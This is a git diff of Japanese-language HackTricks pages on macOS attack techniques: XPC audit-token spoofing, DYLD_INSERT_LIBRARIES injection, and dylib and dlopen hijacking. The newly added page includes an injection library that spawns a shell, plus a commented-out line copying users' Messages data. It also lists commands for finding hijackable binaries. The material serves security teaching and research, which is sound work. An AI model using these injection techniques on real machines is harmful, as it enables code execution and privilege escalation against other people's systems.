* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
* \*\*💬 [Discordグループ](https://discord.gg/hRep4RUj7f)\*\*に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details>
@ -20,12 +20,12 @@ HackTricks をサポートする他の方法:
Machメッセージが何かわからない場合は、このページをチェックしてください:
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
{% content-ref url="../../" %}
[..](../../)
{% endcontent-ref %}
今のところ、([ここからの定義](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing))\
Machメッセージは_machポート_を介して送信され、これは**単一の受信者、複数の送信者通信**チャネルで、machカーネルに組み込まれています。**複数のプロセスがmachポートにメッセージを送信**できますが、いつでも**単一のプロセスだけがそれを読む**ことができます。ファイルディスクリプタやソケットと同様に、machポートはカーネルによって割り当てられ管理され、プロセスは整数しか見ません。これを使用して、カーネルに使用するmachポートを示すことができます。
Machメッセージは\_machポート\_を介して送信され、これは**単一の受信者、複数の送信者通信**チャネルで、machカーネルに組み込まれています。**複数のプロセスがmachポートにメッセージを送信**できますが、いつでも**単一のプロセスだけがそれを読む**ことができます。ファイルディスクリプタやソケットと同様に、machポートはカーネルによって割り当てられ管理され、プロセスは整数しか見ません。これを使用して、カーネルに使用するmachポートを示すことができます。
## XPC接続
@ -51,14 +51,17 @@ XPC接続がどのように確立されるかわからない場合は、次を
これが悪用される可能性がある2つの異なる方法:
1. Variant1:
* **Exploit** がサービス **A** とサービス **B** に **接続**します
* サービス **B** は、ユーザーができない**特権機能**をサービス **A** で呼び出すことができます
* サービス **A** は、**`dispatch_async`**内で **`xpc_connection_get_audit_token`** を呼び出す間、**イベントハンドラ**内に**いない**状態で監査トークンを取得します。
* サービス **A** は、**`dispatch_async`内で `xpc_connection_get_audit_token` を呼び出す間、イベントハンドラ内にいない**状態で監査トークンを取得します。
* したがって、**異なる**メッセージが**監査トークンを上書き**できるため、イベントハンドラの外部で非同期にディスパッチされています。
* Exploit は、**サービス A に対して SEND 権限をサービス B に渡します**。
* したがって、svc **B** は実際にはサービス **A** に**メッセージを送信**します。
* **Exploit** は**特権アクションを呼び出そうとします**。RC svc **A** は、**svc B が監査トークンを上書き**したかどうかの認証をチェックします(これにより、悪用が特権アクションを呼び出す権限を与えられます)。
2. Variant 2:
* サービス **B** は、ユーザーができない**特権機能**をサービス **A** で呼び出すことができます
* Exploit は、**サービス A** に接続し、特定の**リプライポート**で**応答を期待するメッセージ**を送信します。
* Exploit は、**サービス B** に**そのリプライポート**を渡すメッセージを送信します。
@ -87,9 +90,7 @@ XPC接続がどのように確立されるかわからない場合は、次を
2. `diagnosticd` に二次的な **接続** を形成します。通常の手順とは異なり、新しい2つのmachポートを作成して送信するのではなく、クライアントポートの送信権限は、`smd` 接続に関連付けられた **送信権限** の複製で置き換えられます。
3. その結果、XPCメッセージを `diagnosticd` にディスパッチできますが、`diagnosticd` からの応答は `smd` にリダイレクトされます。`smd` にとっては、ユーザーと `diagnosticd` からのメッセージが同じ接続から発信されているように見えます。
![攻撃プロセスを描いた画像](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. 次のステップでは、`diagnosticd`に選択したプロセス(おそらくユーザー自身のプロセス)の監視を開始するよう指示します。同時に、`smd`にルーチンの1004メッセージの洪水を送信します。ここでの意図は、特権を持つツールをインストールすることです。
5. このアクションにより、`handle_bless`関数内で競合状態が発生します。タイミングが重要です:`xpc_connection_get_pid`関数呼び出しは、ユーザーのプロセスのPIDを返さなければなりません特権を持つツールはユーザーのアプリバンドルに存在します。ただし、`xpc_connection_get_audit_token`関数、特に`connection_is_authorized`サブルーチン内で、`diagnosticd`に属する監査トークンを参照する必要があります。
![攻撃プロセスを描いた画像](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) 4. 次のステップでは、`diagnosticd`に選択したプロセス(おそらくユーザー自身のプロセス)の監視を開始するよう指示します。同時に、`smd`にルーチンの1004メッセージの洪水を送信します。ここでの意図は、特権を持つツールをインストールすることです。 5. このアクションにより、`handle_bless`関数内で競合状態が発生します。タイミングが重要です:`xpc_connection_get_pid`関数呼び出しは、ユーザーのプロセスのPIDを返さなければなりません特権を持つツールはユーザーのアプリバンドルに存在します。ただし、`xpc_connection_get_audit_token`関数、特に`connection_is_authorized`サブルーチン内で、`diagnosticd`に属する監査トークンを参照する必要があります。
## 変種2: 返信の転送
@ -115,7 +116,7 @@ XPCクロスプロセス通信環境では、イベントハンドラは
以下は、説明された攻撃シナリオの視覚的表現です:
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
!\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>

View file

@ -1,4 +1,4 @@
# macOSライブラリインジェクション
# macOS Library Injection
<details>
@ -6,58 +6,58 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)。
- **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)。
* **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
{% hint style="danger" %}
**dyldのコードはオープンソース**であり、[https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/)で見つけることができ、**`https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz`**のような**URL**を使用して**tar**をダウンロードできます。
**dyldのコードはオープンソース**であり、[https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/)で見つけることができ、**`https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz`のようなURL**を使用して**tar**をダウンロードできます。
{% endhint %}
## **DYLD\_INSERT\_LIBRARIES**
これは、[**LinuxのLD\_PRELOAD**](../../../../linux-hardening/privilege-escalation#ld\_preload)のようなものです。プロセスに特定のライブラリをパスからロードするよう指示することができます(環境変数が有効になっている場合)
これは、[**LinuxのLD\_PRELOAD**](../../../../linux-hardening/privilege-escalation/#ld\_preload)のようなものです。プロセスに特定のライブラリをパスからロードするよう指示することができます(環境変数が有効になっている場合)
このテクニックは、インストールされたすべてのアプリケーションに「Info.plist」というplistがあり、`LSEnvironmental`というキーを使用して**環境変数を割り当てる**ことができるため、**ASEPテクニックとしても使用できます**。
{% hint style="info" %}
2012年以降、**Appleは`DYLD_INSERT_LIBRARIES`の権限を大幅に削減**しています。
コードに移動して**`src/dyld.cpp`**を確認してください。関数**`pruneEnvironmentVariables`**では、**`DYLD_*`**変数が削除されていることがわかります。
コードに移動して\*\*`src/dyld.cpp`**を確認してください。関数**`pruneEnvironmentVariables`**では、**`DYLD_*`\*\*変数が削除されていることがわかります。
関数**`processRestricted`**では、制限の理由が設定されています。そのコードを確認すると、理由は次のとおりです。
関数\*\*`processRestricted`\*\*では、制限の理由が設定されています。そのコードを確認すると、理由は次のとおりです。
- バイナリが`setuid/setgid`である
- machoバイナリに`__RESTRICT/__restrict`セクションが存在する
- ソフトウェアに[`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)権限がないハード化されたランタイムの権限
- バイナリの権限を確認するには、`codesign -dv --entitlements :- </path/to/bin>`を使用します
* バイナリが`setuid/setgid`である
* machoバイナリに`__RESTRICT/__restrict`セクションが存在する
* ソフトウェアに[`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)権限がないハード化されたランタイムの権限
* バイナリの権限を確認するには、`codesign -dv --entitlements :- </path/to/bin>`を使用します
より新しいバージョンでは、このロジックを**`configureProcessRestrictions`**関数の後半に見つけることができます。ただし、新しいバージョンで実行されるのは、**関数の最初のチェック**ですiOSまたはシミュレーションに関連するif文はmacOSでは使用されないため、それらを削除できます
より新しいバージョンでは、このロジックを\*\*`configureProcessRestrictions`\*\*関数の後半に見つけることができます。ただし、新しいバージョンで実行されるのは、**関数の最初のチェック**ですiOSまたはシミュレーションに関連するif文はmacOSでは使用されないため、それらを削除できます
{% endhint %}
### ライブラリ検証
バイナリが**`DYLD_INSERT_LIBRARIES`**環境変数を使用することを許可していても、バイナリがライブラリの署名をチェックする場合、カスタムライブラリはロードされません。
バイナリが\*\*`DYLD_INSERT_LIBRARIES`\*\*環境変数を使用することを許可していても、バイナリがライブラリの署名をチェックする場合、カスタムライブラリはロードされません。
カスタムライブラリをロードするには、バイナリに次のいずれかの権限が必要です。
- **`com.apple.security.cs.disable-library-validation`**
- **`com.apple.private.security.clear-library-validation`**
* **`com.apple.security.cs.disable-library-validation`**
* **`com.apple.private.security.clear-library-validation`**
または、バイナリには**ハード化されたランタイムフラグ**または**ライブラリ検証フラグ**がない必要があります。
バイナリが**ハード化されたランタイム**を持っているかどうかは、`codesign --display --verbose <bin>`を使用して確認し、**`CodeDirectory`**内のランタイムフラグを確認します。例:**`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
バイナリが**ハード化されたランタイム**を持っているかどうかは、`codesign --display --verbose <bin>`を使用して確認し、**`CodeDirectory`内のランタイムフラグを確認します。例:`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
また、バイナリと**同じ証明書で署名されている場合**もライブラリをロードできます。
これを悪用する例と制限事項を確認するには、次の場所を参照してください:
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
## Dylibハイジャッキング
@ -66,60 +66,59 @@ HackTricksをサポートする他の方法
**以前のライブラリ検証の制限**も、Dylibハイジャッキング攻撃を実行するために適用されます。
{% endhint %}
Windowsと同様に、MacOSでも**dylibsをハイジャック**して、**アプリケーションが** **任意の** **コードを実行** **する** **ことができます**(実際には通常のユーザーでは`.app`バンドル内に書き込むためのTCC権限が必要かもしれません
ただし、**MacOS**アプリケーションがライブラリをロードする方法は、Windowsよりも**制限が多い**ことを意味します。これは、**マルウェア**開発者がこのテクニックを**ステルス**に使用できる可能性があるが、特権を昇格させるためにこれを悪用する可能性はずっと低いということを意味します。
Windowsと同様に、MacOSでも**dylibsをハイジャック**して、**アプリケーションが** **任意の** **コードを実行** **する** **ことができます**(実際には通常のユーザーでは`.app`バンドル内に書き込むためのTCC権限が必要かもしれません。 ただし、**MacOS**アプリケーションがライブラリをロードする方法は、Windowsよりも**制限が多い**ことを意味します。これは、**マルウェア**開発者がこのテクニックを**ステルス**に使用できる可能性があるが、特権を昇格させるためにこれを悪用する可能性はずっと低いということを意味します。
まず、**MacOSバイナリがライブラリをロードする際にフルパスを指定する**ことが**一般的**です。そして、**MacOSは決して** **$PATH**のフォルダを検索しません。
この機能に関連する**コード**の**主要な**部分は、`ImageLoader.cpp`の**`ImageLoader::recursiveLoadLibraries`**にあります。
この機能に関連する**コード**の**主要な**部分は、`ImageLoader.cpp`の\*\*`ImageLoader::recursiveLoadLibraries`\*\*にあります。
machoバイナリがライブラリをロードするために使用できる**4つの異なるヘッダーコマンド**があります:
- **`LC_LOAD_DYLIB`**コマンドは、dylibをロードする一般的なコマンドです。
- **`LC_LOAD_WEAK_DYLIB`**コマンドは、前のコマンドと同様に機能しますが、dylibが見つからない場合でもエラーなしで実行が続行されます。
- **`LC_REEXPORT_DYLIB`**コマンドは、異なるライブラリからシンボルをプロキシ(または再エクスポート)します。
- **`LC_LOAD_UPWARD_DYLIB`**コマンドは、お互いに依存する2つのライブラリがある場合に使用されますこれは_上向き依存性_と呼ばれます
* \*\*`LC_LOAD_DYLIB`\*\*コマンドは、dylibをロードする一般的なコマンドです。
* \*\*`LC_LOAD_WEAK_DYLIB`\*\*コマンドは、前のコマンドと同様に機能しますが、dylibが見つからない場合でもエラーなしで実行が続行されます。
* \*\*`LC_REEXPORT_DYLIB`\*\*コマンドは、異なるライブラリからシンボルをプロキシ(または再エクスポート)します。
* \*\*`LC_LOAD_UPWARD_DYLIB`\*\*コマンドは、お互いに依存する2つのライブラリがある場合に使用されますこれは\_上向き依存性\_と呼ばれます
ただし、**2種類のdylibハイジャッキング**があります:
- **欠落している弱リンクされたライブラリ**:これは、アプリケーションが存在しないライブラリを**LC\_LOAD\_WEAK\_DYLIB**で構成してロードしようとすることを意味します。その後、**攻撃者が期待される場所にdylibを配置すると、ロードされます**。
- リンクが「弱い」という事実は、ライブラリが見つからなくてもアプリケーションが実行を続行することを意味します。
- これに関連する**コード**は、`ImageLoaderMachO.cpp`の`ImageLoaderMachO::doGetDependentLibraries`関数にあり、`lib->required`が`LC_LOAD_WEAK_DYLIB`がtrueの場合にのみ`false`になります。
- バイナリで**弱リンクされたライブラリ**を見つけるには(後でハイジャックライブラリを作成する例があります):
```bash
otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
cmdsize 56
name /var/tmp/lib/libUtl.1.dylib (offset 24)
time stamp 2 Wed Jun 21 12:23:31 1969
current version 1.0.0
compatibility version 1.0.0
```
- **@rpath**で構成されたライブラリMach-Oバイナリには**`LC_RPATH`**と**`LC_LOAD_DYLIB`**コマンドが含まれる場合があります。これらのコマンドの値に基づいて、**異なるディレクトリからライブラリがロードされます**。
- **`LC_RPATH`**には、バイナリでライブラリをロードするために使用されるいくつかのフォルダのパスが含まれています。
- **`LC_LOAD_DYLIB`**には、ロードする特定のライブラリへのパスが含まれています。これらのパスには**`@rpath`**が含まれる場合があり、**`LC_RPATH`**内の値で置換されます。**`LC_RPATH`**に複数のパスがある場合、すべてが使用されてライブラリを検索します。例:
- **`LC_LOAD_DYLIB`**に`@rpath/library.dylib`が含まれ、**`LC_RPATH`**に`/application/app.app/Contents/Framework/v1/`と`/application/app.app/Contents/Framework/v2/`が含まれている場合。両方のフォルダが`library.dylib`をロードするために使用されます。ライブラリが`[...]/v1/`に存在しない場合、攻撃者はそこに配置して`[...]/v2/`のライブラリのロードをハイジャックできます。**`LC_LOAD_DYLIB`**内のパスの順序に従われます。
- バイナリで**rpathパスとライブラリ**を検索するには、`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`を使用します。
* **欠落している弱リンクされたライブラリ**:これは、アプリケーションが存在しないライブラリを**LC\_LOAD\_WEAK\_DYLIB**で構成してロードしようとすることを意味します。その後、**攻撃者が期待される場所にdylibを配置すると、ロードされます**。
* リンクが「弱い」という事実は、ライブラリが見つからなくてもアプリケーションが実行を続行することを意味します。
* これに関連する**コード**は、`ImageLoaderMachO.cpp`の`ImageLoaderMachO::doGetDependentLibraries`関数にあり、`lib->required`が`LC_LOAD_WEAK_DYLIB`がtrueの場合にのみ`false`になります。
* バイナリで**弱リンクされたライブラリ**を見つけるには(後でハイジャックライブラリを作成する例があります):
```bash
otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
cmdsize 56
name /var/tmp/lib/libUtl.1.dylib (offset 24)
time stamp 2 Wed Jun 21 12:23:31 1969
current version 1.0.0
compatibility version 1.0.0
```
* **@rpath**で構成されたライブラリMach-Oバイナリには\*\*`LC_RPATH`**と**`LC_LOAD_DYLIB`\*\*コマンドが含まれる場合があります。これらのコマンドの値に基づいて、**異なるディレクトリからライブラリがロードされます**。
* \*\*`LC_RPATH`\*\*には、バイナリでライブラリをロードするために使用されるいくつかのフォルダのパスが含まれています。
* \*\*`LC_LOAD_DYLIB`**には、ロードする特定のライブラリへのパスが含まれています。これらのパスには**`@rpath`**が含まれる場合があり、**`LC_RPATH`**内の値で置換されます。**`LC_RPATH`\*\*に複数のパスがある場合、すべてが使用されてライブラリを検索します。例:
* \*\*`LC_LOAD_DYLIB`**に`@rpath/library.dylib`が含まれ、**`LC_RPATH`**に`/application/app.app/Contents/Framework/v1/`と`/application/app.app/Contents/Framework/v2/`が含まれている場合。両方のフォルダが`library.dylib`をロードするために使用されます。ライブラリが`[...]/v1/`に存在しない場合、攻撃者はそこに配置して`[...]/v2/`のライブラリのロードをハイジャックできます。**`LC_LOAD_DYLIB`\*\*内のパスの順序に従われます。
* バイナリで**rpathパスとライブラリ**を検索するには、`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`を使用します。
{% hint style="info" %}
**`@executable_path`****メイン実行ファイルを含むディレクトリ**への**パス**です。
**`@loader_path`****Mach-Oバイナリ**を含む**ディレクトリ**への**パス**です。
- **実行可能ファイル**で使用される場合、**`@loader_path`****実質的に** **`@executable_path`****同じ**です。
- **dylib**で使用される場合、**`@loader_path`****dylib**への**パス**を提供します。
* **実行可能ファイル**で使用される場合、**`@loader_path`は実質的に** **`@executable_path`と同じ**です。
* **dylib**で使用される場合、**`@loader_path`はdylib**への**パス**を提供します。
{% endhint %}
この機能を悪用して特権を昇格させる方法は、**root**で実行されている**アプリケーション**が**攻撃者が書き込み権限を持つフォルダ**で**ライブラリを探している**場合です。
{% hint style="success" %}
アプリケーション内の**欠落しているライブラリ**を見つけるための素敵な**スキャナー**は、[**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html)または[**CLIバージョン**](https://github.com/pandazheng/DylibHijack)です。
このテクニックに関する技術的な詳細を含む素敵な**レポート**は[**こちら**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)で見つけることができます。
アプリケーション内の**欠落しているライブラリ**を見つけるための素敵な**スキャナー**は、[**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html)または[**CLIバージョン**](https://github.com/pandazheng/DylibHijack)です。 このテクニックに関する技術的な詳細を含む素敵な**レポート**は[**こちら**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)で見つけることができます。
{% endhint %}
**例**
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
## Dlopenハイジャッキング
@ -128,9 +127,10 @@ machoバイナリがライブラリをロードするために使用できる**4
**以前のライブラリ検証の制限も**、Dlopenハイジャッキング攻撃を実行するために適用されます。
{% endhint %}
**`man dlopen`**から:
\*\*`man dlopen`\*\*から:
* パスに**スラッシュ文字が含まれていない場合**(つまり、単なるリーフ名である場合)、**dlopen()は検索を行います**。**`$DYLD_LIBRARY_PATH`が起動時に設定されている場合、dyldはまずそのディレクトリで検索します。次に、呼び出し元のmach-oファイルまたはメイン実行可能ファイルが`LC_RPATH`を指定している場合、dyldはそのディレクトリで検索します**。次に、プロセスが**制限されていない**場合、dyldは**現在の作業ディレクトリ**で検索します。最後に、古いバイナリの場合、dyldはいくつかのフォールバックを試みます。\*\*`$DYLD_FALLBACK_LIBRARY_PATH`**が起動時に設定されている場合、dyldは**そのディレクト
- パスに**スラッシュ文字が含まれていない場合**(つまり、単なるリーフ名である場合)、**dlopen()は検索を行います**。**`$DYLD_LIBRARY_PATH`**が起動時に設定されている場合、dyldはまずそのディレクトリで検索します。次に、呼び出し元のmach-oファイルまたはメイン実行可能ファイルが**`LC_RPATH`**を指定している場合、dyldは**そのディレクトリで検索します**。次に、プロセスが**制限されていない**場合、dyldは**現在の作業ディレクトリ**で検索します。最後に、古いバイナリの場合、dyldはいくつかのフォールバックを試みます。**`$DYLD_FALLBACK_LIBRARY_PATH`**が起動時に設定されている場合、dyldは**そのディレクト
```c
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
#include <dlfcn.h>
@ -173,27 +173,33 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
return 0;
}
```
コンパイルして実行すると、**各ライブラリが見つからなかった場所**がわかります。また、**FSログをフィルタリング**することもできます。
```bash
sudo fs_usage | grep "dlopentest"
```
## 相対パスハイジャッキング
**特権バイナリ/アプリ**たとえばSUIDや強力な権限を持つバイナリが**相対パス**ライブラリ(たとえば`@executable_path`や`@loader_path`を使用)をロードしており、かつ**ライブラリ検証が無効**になっている場合、バイナリを攻撃者が**相対パスでロードされたライブラリを変更**できる位置に移動し、そのプロセスにコードをインジェクトすることが可能になるかもしれません。
## `DYLD_*`および`LD_LIBRARY_PATH`環境変数の剪定
ファイル`dyld-dyld-832.7.1/src/dyld2.cpp`には、**`pruneEnvironmentVariables`** 関数があり、**`DYLD_`**で始まる環境変数と **`LD_LIBRARY_PATH=`** を削除します。
ファイル`dyld-dyld-832.7.1/src/dyld2.cpp`には、**`pruneEnvironmentVariables`** 関数があり、\*\*`DYLD_`\*\*で始まる環境変数と **`LD_LIBRARY_PATH=`** を削除します。
また、**suid**および**sgid**バイナリに対して、この関数は明示的に**`DYLD_FALLBACK_FRAMEWORK_PATH`**と**`DYLD_FALLBACK_LIBRARY_PATH`**を**null**に設定します。
また、**suid**および**sgid**バイナリに対して、この関数は明示的に\*\*`DYLD_FALLBACK_FRAMEWORK_PATH`**と**`DYLD_FALLBACK_LIBRARY_PATH`**を**null\*\*に設定します。
この関数は、OSXをターゲットにしている場合、同じファイルの\*\*`_main`\*\* 関数から次のように呼び出されます:
この関数は、OSXをターゲットにしている場合、同じファイルの**`_main`** 関数から次のように呼び出されます:
```cpp
#if TARGET_OS_OSX
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
pruneEnvironmentVariables(envp, &apple);
```
そして、これらのブールフラグはコード内の同じファイルで設定されています:
```cpp
#if TARGET_OS_OSX
// support chrooting from old kernel
@ -224,13 +230,15 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
gLinkContext.allowInsertFailures = false;
gLinkContext.allowInterposing = true;
```
これは、バイナリが**suid**または**sgid**であるか、ヘッダーに**RESTRICT**セグメントがあるか、**CS\_RESTRICT**フラグで署名されている場合、**`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`**がtrueであり、環境変数が削除されることを意味します。
これは、バイナリが**suid**または**sgid**であるか、ヘッダーに**RESTRICT**セグメントがあるか、**CS\_RESTRICT**フラグで署名されている場合、\*\*`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`\*\*がtrueであり、環境変数が削除されることを意味します。
CS\_REQUIRE\_LVがtrueの場合、変数は削除されませんが、ライブラリ検証は元のバイナリと同じ証明書を使用していることを確認します。
## 制限のチェック
### SUID & SGID
```bash
# Make it owned by root and suid
sudo chown root hello
@ -241,11 +249,14 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
# Remove suid
sudo chmod -s hello
```
### セクション `__RESTRICT` とセグメント `__restrict`
```bash
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
```
### ハード化されたランタイム
Keychain で新しい証明書を作成し、それを使用してバイナリに署名します:
@ -273,17 +284,20 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
{% endcode %}
{% hint style="danger" %}
`0x0(none)`フラグで署名されたバイナリがあっても、実行時に**`CS_RESTRICT`**フラグが動的に付与される可能性があるため、このテクニックはそれらには機能しません。
`0x0(none)`フラグで署名されたバイナリがあっても、実行時に\*\*`CS_RESTRICT`\*\*フラグが動的に付与される可能性があるため、このテクニックはそれらには機能しません。
このフラグを持つprocをチェックするには、(ここで[**csops**](https://github.com/axelexic/CSOps)を取得してください):
このフラグを持つprocをチェックするには、(ここで[**csops**](https://github.com/axelexic/CSOps)を取得してください):&#x20;
```bash
csops -status <pid>
```
そして、フラグ0x800が有効になっているかどうかを確認します。
{% endhint %}
## 参考文献
* [https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/](https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/)
* [https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/](https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/)
<details>

View file

@ -0,0 +1,189 @@
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
## DYLD\_INSERT\_LIBRARIESの基本例
**シェルを実行するために注入するライブラリ:**
```c
// gcc -dynamiclib -o inject.dylib inject.c
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
攻撃対象のバイナリ:
```c
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
}
```
## macOS Dyld Hijacking and `DYLD_INSERT_LIBRARIES`
macOSでは、`DYLD_INSERT_LIBRARIES`環境変数を使用して、悪意のあるライブラリをプロセスに挿入することができます。これにより、攻撃者はプロセスの実行時にコードを実行し、権限昇格を行うことが可能となります。
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Dyldハイジャッキングの例
対象の脆弱なバイナリは `/Applications/VulnDyld.app/Contents/Resources/lib/binary` です。
{% tabs %}
{% tab title="entitlements" %}
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>[...]com.apple.security.cs.disable-library-validation[...]
</strong></code></pre>
{% endtab %}
{% tab title="LC_RPATH" %}
{% code overflow="wrap" %}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
